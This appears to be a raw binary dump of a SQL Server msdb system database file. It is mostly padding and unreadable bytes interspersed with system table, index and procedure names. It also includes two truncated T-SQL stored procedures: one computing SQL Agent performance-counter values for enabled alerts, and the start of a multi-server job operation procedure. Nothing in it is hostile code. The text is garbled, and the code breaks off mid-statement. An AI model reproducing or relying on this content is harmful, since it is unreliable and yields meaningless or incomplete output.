!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	i6.UXO)6clst6"clst6)clst6,clst6-clst62clst63clst66clst67clst68clst69clst6:clst6<clst6@clst6Cclst6Dclst6Eclst6Gclst6Jclst6Kclst6Oclst6Rclst6Uclst6Vclst6Wclst6Yclst6Zclst6`clst6aclst6bclst6clust6clust6clust61clust6;clust6>clust6?clust6Aclust6&m1clust6_2clust63clust64clust6j8clust69clust6(Cclust6ADclust6~Hclust6)?Kclust6Xclust6+\clust6d]clust67_clust6\`clust6x}(FFtUpdateIdx6u\{&FSTSClusIdx6u\{"FSTSNCIdx6nc6nc6)nc6,nc63nc66nc6@nc6Nnc6XLNC_sysjobschedules_schedule_id6nc16nc16nc16"nc16*nc16+nc16.nc162nc167nc168nc16:nc16Cnc16Enc16Jnc16Knc16Ync16Znc16[nc16]nc16_nc16`nc16anc16bnc16&m1nc16_2nc16j8nc169nc16(Cnc16ADnc16)?Knc16d]nc16\`nc16nc26nc26nc26"nc26*nc26.nc262nc26Cnc26Enc26`nc26j8nc26)?Knc26"nc36.nc36_nc36(Cnc36(Cnc46Vnonclst6V"nonclstgi6F nonclust6bcLLPK__sysjobst__9E2397E06FA0D04D6,leclust6e5`fLPK__syscache__F6D56B5641F5B77F6" LPK__sysdbmai__BE9F8F1D247FE03E6,clust6T<LPK__backupme__DAC69E4D599F16936I>LPK__backupme__0C13C86F1C51CE1C6wBLPK__backupse__21F79AAB792B85D36UGTELPK__backupfi__760CD67ADEB0E5E060HLPK__backupfi__57D1800AC4FFEEA36 
KLPK__restoreh__FDC4B031A97E0FE66:Q.logmarkhistory16:Q.logmarkhistory26rWLPK__log_ship__ED3BE111B6D897E96eIX_sysmanagement_shared_server_groups_clustParentGroupID6edIX_sysmanagement_shared_server_groups_name6Pj~IX_sysmanagement_shared_registered_servers_clustGroupID6PjnIX_sysmanagement_shared_registered_servers_name6ro|RIX_facet_events_target_type_alias6\vIX_syspolicy_system_health_state_internal_policy_id6\IX_syspolicy_system_health_state_internal_target_query_expression_with_id6vM`IX_syspolicy_policy_execution_history_internal_end_date_policy_id6vM`IX_syspolicy_policy_execution_history_internal_policy_id6_<MDIX_sysdac_history_internal6rNCI_sysutility_resource_health_policies_urn_types6D0LPK__log_ship__ED3BE1113A2410486D0<nc1lsprimary_databases6D0<nc2lsprimary_databases64@nc1lsprimary_secondaries6,5LPK__log_ship__ED3BE1119B826ADF6=7Fnc2lsmonitor_history_detail6=7Fnc3lsmonitor_history_detail6a8Bnc2lsmonitor_error_detail6a8Bnc3lsmonitor_error_detail69LPK__log_ship__DB57D5B2C7A61B6C69,nc1lssecondary69,nc2lssecondary6ε;LPK__log_ship__093E1AB55C5147F86ε;@nc1lssecondary_databases6=<nc1lsmonitor_secondary6=<nc2lsmonitor_secondary6=<nc3lsmonitor_secondary6f_?LPK__log_ship__BD57EA57F3FC6FFELPK__backupfi__57D1800AC4FFEEA36 
KLPK__restoreh__FDC4B031A97E0FE66 
K>restorehistorybackupset6:Q.logmarkhistory16:Q.logmarkhistory26rWLPK__log_ship__ED3BE111B6D897E96=yk4pk_sysssispackages6Z>pRU_sysssispackagefoldersuniquepath6Z>p@PK_sysssispackagefolders6sLPK__sysssisl__3213E83F87E3C3756\1ixPK_syscollector_config_store_internal_paremeter_name6
`PK_syscollector_collection_sets_internal6
jUQ_syscollector_collection_sets_internal_name6'`PK_syscollector_collector_types_internal6'lUQ_syscollector_collection_types_internal_name6Dڎ'bPK_syscollector_collection_items_internal6Dڎ'lUQ_syscollector_collection_items_internal_name6ҕ;JPK_syscollector_execution_log6Z@NPK_syscollector_execution_stats^>:xtP
|$Bx*bF(
t

X6
 



R
~
h
R
<
&

					RN	v	`	J	4			nXB,|fP:$nZF2
X":bLlR8hN4v~dJ0pX@(hP8 x`EkGU)
EPERESETEUEVEWEXEYEZE[E\E]E]E]E^E^E^E_E`E`E`EaEaEbEbEbEcEcEcEdEeEeEeEfEgEhEiEiEiEjEkElEoEpEqErEsEtEuEvEwExEyEzE{E|E}E~EEEEEEmnEjjkEooxE;<E==>E??hEEEEEVVWEEE``aERRSEEETTUEbjcEEgghEddeEEEEEEEllmEnnoEppqErrsEEEEEttuEE	vwE
EEE
E
Qv-R	w.S
x/Ty0Uz1V
{2W|3X}4Y
~
5
Z6

[

		7	\8]9^:_;`02"]u$00oP qZ.^tsp_verify_category_identifiers00pFNZ.^Tagent_datetime00qP Z .^nsp_verify_proxy_identifiers00JrP hZ,.^xsp_verify_credential_identifiers000sP *Z=.^`sp_verify_subsystems00TtP ZI.^vsp_verify_subsystem_identifiers00xuP ZX.^nsp_verify_login_identifiers00pP 8[.^Xsp_help_operator00ݜqP l9[.^bsp_help_operator_jobs00 rP +:['.^tsp_verify_operator_identifiers00Y&sP :[8.^\sp_notify_operator00JytP ;[E.^dsp_verify_notification00nmuP <[V.^^sp_add_notification00spP g[.^vsysmail_add_principalprofile_sp00gqP ph[.^|sysmail_update_principalprofile_sp00[rP Oi[%.^|sysmail_delete_principalprofile_sp00/PsP j[3.^xsysmail_help_principalprofile_sp00h@DtP j[B.^fsysmail_logmailevent_sp00d8uP 2k[Q.^Xsysmail_start_sp00Z>pU Z[
.^bsysssispackagefolders002qUQZ>pZ[\zU_sysssispackagefoldersuniquepath00&rPKZ>p[[\hPK_sysssispackagefolders00sU [1.^Lsysssislog00>6tPKs[\tPK__sysssisl__3213E83F87E3C37500wZuP [N.^^sp_ssis_addlogentry000	pP [.^sp_sysmanagement_verify_shared_server_type00ipP H[.^sp_sysmanagement_add_shared_server_group00qP [".^sp_sysmanagement_add_shared_registered_server00rP [..^sp_sysmanagement_delete_shared_server_group00,sP ,[?.^sp_sysmanagement_delete_shared_registered_server00MPtP [L.^sp_sysmanagement_move_shared_server_group00tuP [Z.^sp_sysmanagement_move_shared_registered_server00?pP &\.^hsp_syspolicy_mark_system00xټqFN	'\.^lsyspolicy_fn_get_type_name00rU /'\*.^psyspolicy_execution_internal00!sTRr'\;.^nsyspolicy_execution_trigger00#FtP (\G.^nsp_syspolicy_dispatch_event00\juSQ)\\bsyspolicy_event_queue00pD Ebh\\tDF__sysutilit__insta__7093AB1500NχqD Ebh\\tDF__sysutilit__compu__7187CF4E00{rD Ebh\\tDF__sysutilit__compu__727BF38700psU 0i\6.^xsysutility_mi_smo_stage_internal00;dtIFj\\~fn_sysutility_mi_get_batch_manifest002`XuU Qj\S.^sysutility_mi_smo_objects_to_collect_internal00^pD @4ml\\tDF__sysutilit__mi_un__705EA0EB00$RqD @4ml\\tDF__sysutilit__mi_ov__7152C52400]FrD @4ml\\tDF__sysutilit__mi_un__7246E95D00
;sD @4ml\\tDF__sysutilit__mi_on__733B0D96001/tD @4ml\\tDF__sysutilit__mi_on__742F31CF00V#uD @4ml\\tDF__sysutilit__mi_wi__75235608!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
@b8F
p
n@	lP	Jb	(h0RB
`40+"bH\PpՕ00PS 5M7MRsyschildinsts00RS LMNMXsyscompfragments00TS @MBMXsysftsemanticsdb00US MMOMLsysftstops00VS MMVsysftproperties00WS MMNsysxmitbody00YS HMKMDsysfos00ZS 26Jsysqnames00[S 29Vsysxmlcomponent00\S 7:Nsysxmlfacet00]S 7Vsysxmlplacement00^S Vsysobjkeycrypts00_S 	Nsysasymkeys00`S 
'MPsyssqlguides00aS 0Rsysbinsubobjs00bS 	MMTsyssoftobjrefs00h P Z(^lsp_revoke_login_from_proxy00+P 1Z1(^tsp_revoke_proxy_from_subsystem00OP ZB(^nsp_enum_proxy_for_subsystem00tP ZQ(^fsp_enum_login_for_proxy00w!U H[,(^Vsysmail_profile00EPKw!H[˹\tSYSMAIL_PROFILE_IDMustBeUnique00iUQw!H[͹\xSYSMAIL_PROFILE_NameMustBeUnique00MP u["(^Vsp_RunMailQuery00;P v[6(^Xsp_validate_user00_P w[E(^Tsp_send_dbmail00#
uP /[(^fsp_ssis_getpackageroles00\1iU [3(^|syscollector_config_store_internal00U]PK\1i[̹\PK_syscollector_config_store_internal_paremeter_name00@PKK[\fPK_syspolicy_conditions002'4UQK[\pUQ_syspolicy_conditions_name00kK(D K[\tDF__syspolicy__date___02284B6B00oD K[\tDF__syspolicy__descr__031C6FA400
P .\(^sp_syspolicy_repair_policy_automation00P U/\/(^lsp_syspolicy_purge_history00AAP ;0\@(^rsp_syspolicy_create_purge_job00zeP 0\O(^vsp_syspolicy_purge_health_state00P *r\)(^hsp_sysutility_ucp_create007P r\=(^sp_sysutility_mi_validate_enrollment_preconditions00P[P Qs\L(^fsp_sysutility_mi_enroll00D S{΢\\tDF__sysutilit__is_co__009508B400,D S{΢\\tDF__sysutilit__is_fi__01892CED00&Q}D S{΢\\tDF__sysutilit__is_fi__027D5126ter_name00yQV [[jsyscollector_config_store00EP [[sp_syscollector_verify_collector_state00@9P [[sp_syscollector_set_warehouse_instance_name00y-P [[sp_syscollector_set_warehouse_database_name00
"P d[d[~sp_syscollector_set_cache_directory00.P [[xsp_syscollector_set_cache_window00@PKK[[fPK_syspolicy_conditions002'4UQK[[pUQ_syspolicy_conditions_name00kK(D K[[tDF__syspolicy__date___02284B6B00oD K[[tDF__syspolicy__descr__031C6FA400ݓD K[[tDF__syspolicy__creat__041093DD00D K
[[tDF__syspolicy__is_na__0504B81600OD K[[tDF__syspolicy__is_sy__05F8DC4F00F K[[FK_syspolicy_conditions_internal_facet00$V D[D[`syspolicy_conditions00
P .\.\sp_syspolicy_repair_policy_automation00P U/\U/\lsp_syspolicy_purge_history00AAP ;0\;0\rsp_syspolicy_create_purge_job00zeP 0\0\vsp_syspolicy_purge_health_state00P 37\b7\Xsp_read_settings00FN9\9\hfn_sysdac_is_dac_creator00%FN*:\*:\lfn_sysdac_is_login_creator00^FN:\:\nfn_sysdac_is_currentuser_sa00FNj;\j;\dfn_sysdac_get_username00P *r\*r\hsp_sysutility_ucp_create007P r\r\sp_sysutility_mi_validate_enrollment_preconditions00P[P Qs\Qs\fsp_sysutility_mi_enroll00U s\s\sysutility_ucp_supported_object_types_internal00£PKs\s\PK_sysutility_ucp_supported_object_types_internal00ǎU )t\)t\sysutility_ucp_managed_instances_internalfsp_ssis_gez~dtbZpH
*`(.
8	N
T
~`	T.
(jl	
t ~06Rb
`KOKX\Qi 7
Pgt2
mC"64me
+d]!"B':%IeQPGO(CRs	^eExuoMmy|6_2z
G6Dj3{ig`]|=yeE}34~52ADUUGTE9'PE&:5&ucaLATqiMR5Dj3?r>ҕ;Hz
j8IHWE>J ")=K h8PpX(x@`IKMi2t2
mtqL_2L_2L3L3L)?KL)?KL)?KL)?KLqeEeEe5`fe5`fe5`fe5`fe5`f$k0)b0)b0)b0)b0)b0)b0)Ha0)Ha0)HaiMeEiMeQiMHaiM)?KiM)?Kە
eEە
eEە
eEە
q	WWWWeQeQeQeQ"B"BXXMޅeEMޅeEz
j8z
j8z
j8z
j8z
j8z
j8z
j8z
j8z
j8z
j8	z
j8
z
j8&nd]&nd]&nd]&nd]&neE&neE&nW&neQ&neQ&nz
&nX&nX&nAD&nAD&nj8&nj8&nj8&nj8&nj8&nj8JbbJbbJbb>jJ>+\>+\>+\>+\>Ha>AD>AD>1oV>ە
>Jb>iM2eE2+\2+\2q	2>2Ha2Ha2Ha2Ha2Ha2Ha2Ha	2Ha
2Ha2Ha2Ha
2Ha2Ha2Ha2Ha2Ha2Ha2Ha2Ha2Ha2Ha2Ha2iM'2',le',le'iMN$eQN$eQN$eQN$"BN$"BN$'''''h@Dt1z%X1zh@Dt1zKo34Z34Z34Z34Z34ZyQ\1iyQ\1iE\1iE\1i@9\1i@9\1i@9Ey-\1iy-\1iy-E
"\1i
"\1i
"E.\1i.\1i.E$S
	\1i$S
	\1i|
|
|
|
|
|
|
|
|
	|

|
|
|

|
|
|
|
|
	*p|	*p|$K$K$K$K$K$K$K$K$K	$K
$K$K$)z$)z3m	K3m	K3m	K3m	K	3m	K
3m	K3m	)z3m	)z3m	$3m	Hl
$l
$l
HKKKK	K
Kl
)z)zH٥K٥K٥l
٥H
K
K
l

H4^P"4^P"4^P">&Y>
)>_<M_<M_<M_<M_<M	_<M^	c		c		c		c		c		c		c		c	QGǎQGǎQGǎQGǎQGǎQGǎQGǎQGǎ;ǎ;ǎ;ǎ;ǎ;ǎ52/
52/
nVEYH$nVEYH$zEYH$zEYH$34ZtX< $dH,dH,hL0`D(|




d
H
,

hL0P4lT
8


	
p
	



Lx\		t	h@$|`Dx\$X	<	 		@0lP(dH,4T8pl0hL|`D(t4Px\ X<lpP4|`D(@$tT8X< pT8x\@$x\@|`<(v,!CREATE PROCEDURE sp_sqlagent_get_perf_counters
  @all_counters BIT = 0
AS
BEGIN

  SET NOCOUNT ON

  -- 32 bit fraction counter types
  DECLARE @perfTypeRawFraction INT
  DECLARE @perfTypeRawBase     INT

  -- A counter of type PERF_RAW_FRACTION, which is a 32-bit counter value.
  SET @perfTypeRawFraction = 537003008 --  In hex, 0x20020400.

   -- A count of type PERF_RAW_BASE, which is the 32-bit divisor used
   -- when handling PERF_RAW_FRACTION types. This counter type should
   -- not be displayed to the user since it is used for mathematical
   -- operations.
  SET @perfTypeRawBase     = 1073939459 -- In hex, 0x40030403.


  -- 64 bit fraction counter types
  DECLARE @perfTypeLargeRawFraction INT
  DECLARE @perfTypeLargeRawBase     INT

  -- A counter of type PERF_LARGE RAW_FRACTION, which is a 64-bit counter value.
  SET @perfTypeLargeRawFraction = 537003264 --  In hex, 0x20020500.

   -- A count of type PERF_LARGE_RAW_BASE, which is the 64-bit divisor used
   -- when handling PERF_LARGE_RAW_FRACTION types. This counter type should
   -- not be displayed to the user since it is used for mathematical
   -- operations.
  SET @perfTypeLargeRawBase     = 1073939712 -- In hex, 0x40030500.



  IF (@all_counters = 0)
  BEGIN
        SELECT  spi1.object_name,
                spi1.counter_name,
                'instance_name' = CASE spi1.instance_name
                                    WHEN N'' THEN NULL
                                    ELSE spi1.instance_name
                                    END,
                'value' = CASE spi1.cntr_type
                            WHEN @perfTypeRawFraction -- 32 bit fraction
                                THEN CONVERT(FLOAT, spi1.cntr_value) / (SELECT CASE spi2.cntr_value 
                                                                            WHEN 0 THEN 1 
                                                                            ELSE spi2.cntr_value 
                                                                            END
                                                                        FROM sysalerts_performance_counters_view spi2
                                                                        WHERE (RTRIM(spi1.counter_name) + ' ' = SUBSTRING(spi2.counter_name, 1, PATINDEX('% base%', LOWER(spi2.counter_name))))
                                                                        AND spi1.object_name = spi2.object_name
                                                                        AND spi1.server_name = spi2.server_name
                                                                        AND spi1.instance_name = spi2.instance_name
                                                                        AND spi2.cntr_type = @perfTypeRawBase
                                                                        )
                            WHEN @perfTypeLargeRawFraction  -- 64 bit fraction
                                THEN CONVERT(FLOAT, spi1.cntr_value) / (SELECT CASE spi2.cntr_value 
                                                                            WHEN 0 THEN 1 
                                                                            ELSE spi2.cntr_value 
                                                                            END
                                                                        FROM sysalerts_performance_counters_view spi2
                                                                        WHERE (RTRIM(spi1.counter_name) + ' ' = SUBSTRING(spi2.counter_name, 1, PATINDEX('% base%', LOWER(spi2.counter_name))))
                                                                        AND spi1.object_name = spi2.object_name
                                                                        AND spi1.server_name = spi2.server_name
                                                                        AND spi1.instance_name = spi2.instance_name
                                                                        AND spi2.cntr_type = @perfTypeLargeRawBase
                                                                        )
                                ELSE spi1.cntr_value
                            END,
       'type' = spi1.cntr_type,
        spi1.server_name
        FROM sysalerts_performance_counters_view spi1,
        (
                SELECT DISTINCT 
                    SUBSTRING(performance_condition, 
                                PATINDEX('%:%', performance_condition) + 1, 
                                CHARINDEX('|', performance_condition, 
                                            PATINDEX('%_|_%', performance_condition) + 2)-(PATINDEX('%:%', performance_condition) + 1
                                         )
                             )
                AS performance_condition_s  
                FROM msdb.dbo.sysalerts
                WHERE performance_condition IS NOT NULL
                AND ISNULL(event_id, 0) <> 8 -- exclude WMI events that reuse performance_condition field
                AND enabled = 1
        ) tmp -- We want to select only those counters that have an enabled performance sysalert
        WHERE spi1.cntr_type <> @perfTypeRawBase      -- ignore 32-bit denominator counter type
        AND spi1.cntr_type <> @perfTypeLargeRawBase      -- ignore 64-bit denominator counter type
        AND tmp.performance_condition_s = (spi1.object_name + '|' + spi1.counter_name)
        OPTION (HASH JOIN, LOOP JOIN) -- Avoid merge join when small number of alerts are defined
  END
  ELSE
  BEGIN
        SELECT  spi1.object_name,
                spi1.counter_name,
                'instance_name' = CASE spi1.instance_name
                                    WHEN N'' THEN NULL
                                    ELSE spi1.instance_name
                                    END,
                'value' = CASE spi1.cntr_type
                            WHEN @perfTypeRawFraction -- 32 bit fraction
                            THEN CONVERT(FLOAT, spi1.cntr_value) / (SELECT CASE spi2.cntr_value 
                                                                        WHEN 0 THEN 1 
                                                                        ELSE spi2.cntr_value 
                                                                        END
                                                                    FROM sysalerts_performance_counters_view spi2
                                                                    WHERE (RTRIM(spi1.counter_name) + ' ' = SUBSTRING(spi2.counter_name, 1, PATINDEX('% base%', LOWER(spi2.counter_name))))
                                                                    AND spi1.object_name = spi2.object_name
                                                                    AND spi1.server_name = spi2.server_name
                                                                    AND spi1.instance_name = spi2.instance_name
                                                                    AND spi2.cntr_type = @perfTypeRawBase
                                                                    )
                            WHEN @perfTypeLargeRawFraction  -- 64 bit fraction
                            THEN CONVERT(FLOAT, spi1.cntr_value) / (SELECT CASE spi2.cntr_value 
                                                                        WHEN 0 THEN 1 
                                                                        ELSE spi2.cntr_value 
                                                                        END
                                                                    FROM sysalerts_performance_counters_view spi2
                                                                    WHERE (RTRIM(spi1.counter_name) + ' ' = SUBSTRING(spi2.counter_name, 1, PATINDEX('% base%', LOWER(spi2.counter_name))))
                                                       `<(ȫvCREATE PROCEDURE sp_post_msx_operation
  @operation              VARCHAR(64),
  @object_type            VARCHAR(64)       = 'JOB',-- Can be JOB, SERVER or SCHEDULE
  @job_id                 UNIQUEIDENTIFIER  = NULL, -- NOTE: 0x00 means 'ALL' jobs
  @specific_target_server sysname           = NULL,
  @value                  INT               = NULL, -- For polling interval value
  @schedule_uid           UNIQUEIDENTIFIER  = NULL  -- schedule_uid if the @object_type = 'SCHEDULE'
AS
BEGIN
  DECLARE @operation_code            INT
  DECLARE @specific_target_server_id INT
  DECLARE @instructions_posted       INT
  DECLARE @job_id_as_char            VARCHAR(36)
  DECLARE @schedule_uid_as_char      VARCHAR(36)
  DECLARE @msx_time_zone_adjustment  INT
  DECLARE @local_machine_name        sysname
  DECLARE @retval                    INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @operation              = LTRIM(RTRIM(@operation))
  SELECT @object_type            = LTRIM(RTRIM(@object_type))
  SELECT @specific_target_server = LTRIM(RTRIM(@specific_target_server))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@specific_target_server = N'') SELECT @specific_target_server = NULL

  -- Only a sysadmin can do this, but fail silently for a non-sysadmin
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) 
    RETURN(0) -- Success (or more accurately a no-op)

  -- Check operation
  SELECT @operation = UPPER(@operation collate SQL_Latin1_General_CP1_CS_AS)
  SELECT @operation_code = CASE @operation
                             WHEN 'INSERT'    THEN 1
                             WHEN 'UPDATE'    THEN 2
                             WHEN 'DELETE'    THEN 3
                             WHEN 'START'     THEN 4
                             WHEN 'STOP'      THEN 5
                             WHEN 'RE-ENLIST' THEN 6
                             WHEN 'DEFECT'    THEN 7
                             WHEN 'SYNC-TIME' THEN 8
                             WHEN 'SET-POLL'  THEN 9
                             ELSE 0
                           END
